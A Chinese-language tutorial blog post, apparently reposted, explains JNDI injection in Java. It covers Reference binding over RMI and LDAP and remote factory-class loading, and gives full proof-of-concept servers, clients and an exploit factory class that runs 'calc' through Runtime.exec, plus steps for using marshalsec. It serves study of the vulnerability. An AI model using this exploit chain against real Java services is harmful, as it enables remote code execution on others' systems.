關於 看后的一些總結-2


關於JNDI:

命名系統是一組關聯的上下文,而上下文是包含零個或多個綁定的對象,每個綁定都有一個原子名(實際上就是給綁定的對象起個名字,方便查找該綁定的對象), 使用JNDI的好處就是配置統一的管理接口,下層可以使用RMI、LDAP或者CORBA來訪問目標服務

要獲取初始上下文,需要使用初始上下文工廠

比如JNDI+RMI

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
        "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://localhost:9999"); Context ctx = new InitialContext(env); //通過名稱查找對象 ctx.lookup("refObj");

比如JNDI+LDAP

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
 "com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:1389"); DirContext ctx = new InitialDirContext(env); //通過名稱查找遠程對象,假設遠程服務器已經將一個遠程對象與名稱cn=foo,dc=test,dc=org綁定了 Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");

但是如上雖然設置了初始化工廠和provider_url,但是JNDI是支持動態協議轉換的,通過使用上下文來調用lookup函數使用遠程對象時,JNDI可以根據提供的URL來自動進行轉換,所以這里的關鍵點就是lookup的參數可被攻擊者控制。

JNDI命名引用

在命名和目錄服務中綁定JAVA對象數量過多時占用的資源太多,然而如果能夠存儲對原始對象的引用那么肯定更加方便,JNDI命名引用就是用Reference類表示,其由被引用的對象和地址組成,那么意味着此時被應用的對象是不是就可以不一定要求與提供JNDI服務的服務端位於同一台服務器。

Reference通過對象工廠來構造對象。對象工廠的實際功能就是我們需要什么對象即可通過該工廠類返回我們所需要的對象。那么使用JNDI的lookup查找對象時,那么Reference根據工廠類加載地址來加載工廠類,此時肯定會初始化工程類,在之前的調JNDI payload的過程中也和這文章講的一樣,打JNDI里的三種方法其中兩種就是將命令執行的代碼塊寫到工廠類的static代碼塊或者構造方法中,那么工廠類最后再構造出需要的對象,這里實際就是第三種getObjectInstance了。

Reference reference = new Reference("MyClass","MyClass",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference); ctx.bind("Foo", wrapper);

比如上面這三段代碼即通過Reference綁定了遠程對象並提供工廠地址,那么當客戶端查找Foo名稱的對象時將會到工廠地址處去加載工廠類到本地。

從遠程加載類時有兩種不同級別:

1.命名管理器級別

2.服務提供者(SPI)級別

直接打RMI時加載遠程類時要求強制安裝Security Manager,並且要求useCodebaseOnly為false

打LDAP時要求com.sun.jndi.ldap.object.trustURLCodebase = true(默認為false),但是這個設置並不是必須的。因為這都是從服務提供者接口(SPI)級別來加載遠程類。

但是在命名管理級別不需要安裝安全管理器(security manager)且jvm選項中低版本的不受useCodebaseOnly限制

JNDI Reference+RMI攻擊

Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName為類名加上包名,FactoryClassName為工廠類名並且包含工廠類的包名
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

此時當客戶端通過lookup('refObj')獲取遠程對象時,此時將拿到reference類,然后接下來將去本地的classpath中去找名為refClassName的類,如果本地沒找到,則將會Reference中指定的工廠地址中去找工廠類

RMIClinent.java

package com.longofo.jndi;

import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import java.rmi.NotBoundException; import java.rmi.RemoteException; public class RMIClient1 { public static void main(String[] args) throws RemoteException, NotBoundException, NamingException { // Properties env = new Properties(); // env.put(Context.INITIAL_CONTEXT_FACTORY, // "com.sun.jndi.rmi.registry.RegistryContextFactory"); // env.put(Context.PROVIDER_URL, // "rmi://localhost:9999"); Context ctx = new InitialContext(); ctx.lookup("rmi://localhost:9999/refObj"); } }

RMIServer.java

package com.longofo.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer1 { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { // 創建Registry Registry registry = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); registry.bind("refObj", refObjWrapper); } }

ExportObject.java

package com.longofo.remoteclass;

import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.Serializable; import java.util.Hashtable; public class ExportObject implements ObjectFactory, Serializable { private static final long serialVersionUID = 4474289574195395731L; static { //這里由於在static代碼塊中,無法直接拋異常外帶數據,不過在static中應該也有其他方式外帶數據。沒寫在構造函數中是因為項目中有些利用方式不會調用構造參數,所以為了方標直接寫在static代碼塊中所有遠程加載類的地方都會調用static代碼塊 try { exec("calc"); } catch (Exception e) { e.printStackTrace(); } } public static void exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String lineStr; while ((lineStr = inBr.readLine()) != null) sb += lineStr + "\n"; inBr.close(); in.close(); // throw new Exception(sb);  } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { System.out.println("333"); return null; } public ExportObject(){ System.out.println("222"); } }

此時服務端創建注冊表,此時將Reference對象綁定到注冊表中,此時

從上面的代碼中可以看到此時初始化工廠后就可以來調用遠程對象

 

此時由輸出也可以看到此時觸發了工廠類的static代碼塊和構造方法以及getObjectInstance方法

在客戶端lookup處下斷點跟蹤也可以去發現整個的調用鏈,其中getReference首先拿到綁定對象的引用,然后再通過getObjectFactoryFromReference從Reference拿到對象工廠,之后再從對象工廠拿到我們最初想要查找的對象的實例。

JNDI Reference+LDAP

LDAPSeriServer.java

package com.longofo;

import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.IOException; import java.net.InetAddress; /** * LDAP server implementation returning JNDI references * * @author mbechler */ public class LDAPSeriServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] args) throws IOException { int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$  port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.setSchema(null); config.setEnforceAttributeSyntaxCompliance(false); config.setEnforceSingleStructuralObjectClass(false);        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); ds.add("dn: " + "dc=example,dc=com", "objectClass: test_node1"); //因為LDAP是樹形結構的,因此這里要構造樹形節點,那么肯定有父節點與子節點 ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: test_node3"); ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject"); //此子節點中存儲Reference類名 System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$  ds.startListening(); //LDAP服務開始監聽 } catch (Exception e) { e.printStackTrace(); } } }

LDAPServer.java

package com.longofo;

import javax.naming.Context; import javax.naming.NamingException; import javax.naming.directory.BasicAttribute; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import javax.naming.directory.ModificationItem; import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.util.Hashtable; public class LDAPServer1 { public static void main(String[] args) throws NamingException, IOException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:1389"); DirContext ctx = new InitialDirContext(env); String javaCodebase = "http://127.0.0.1:8000/"; //配置加載遠程工廠類的地址 byte[] javaSerializedData = Files.readAllBytes(new File("C:\\Users\\91999\\Desktop\\rmi-jndi-ldap-jrmp-jmx-jms-master\\ldap\\src\\main\\java\\com\\longofo\\1.ser").toPath()); BasicAttribute mod1 = new BasicAttribute("javaCodebase", javaCodebase); BasicAttribute mod2 = new BasicAttribute("javaClassName", "DeserPayload"); BasicAttribute mod3 = new BasicAttribute("javaSerializedData", javaSerializedData);
ModificationItem[] mods = new ModificationItem[3]; mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1); mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2); mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3); ctx.modifyAttributes("uid=longofo,ou=employees,dc=example,dc=com", mods); } }

 LDAPClient.java

package com.longofo.jndi;

import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class LDAPClient1 { public static void main(String[] args) throws NamingException { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); Context ctx = new InitialContext(); Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com"); } }

此時客戶端初始化上下文后就可以去訪問ldap服務器上對應的記錄,記錄名為uid=longofo,ou=employees,dc=example,dc=com ,那么對應在服務端的命名空間中必定存在這條記錄,以及綁定的Reference對象。此時就能calc。

 

marshalsec攻擊工具化 

結合marshalsec集合的RMIRefServer和LDAPRefServer,來攻擊客戶端,只要客戶端的lookup的參數可控,並且jdk版本滿足約束即可

打RMI

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient1 {
    public static void main(String[] args) throws NamingException {
        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        Context ctx = new InitialContext();
        //Object object =  ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
        Object object = ctx.lookup("rmi://127.0.0.1:1099/a");
    }
}

 

打LDAP

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient1 {
    public static void main(String[] args) throws NamingException {
        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        Context ctx = new InitialContext();
        //Object object =  ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
        Object object = ctx.lookup("ldap://127.0.0.1:1099/a");
    }
}

 

Exploit.class

public class Exploit {
    public Exploit() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception var2) {
            var2.printStackTrace();
        }

    }

    public static void main(String[] argv) {
        new Exploit();
    }
}

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM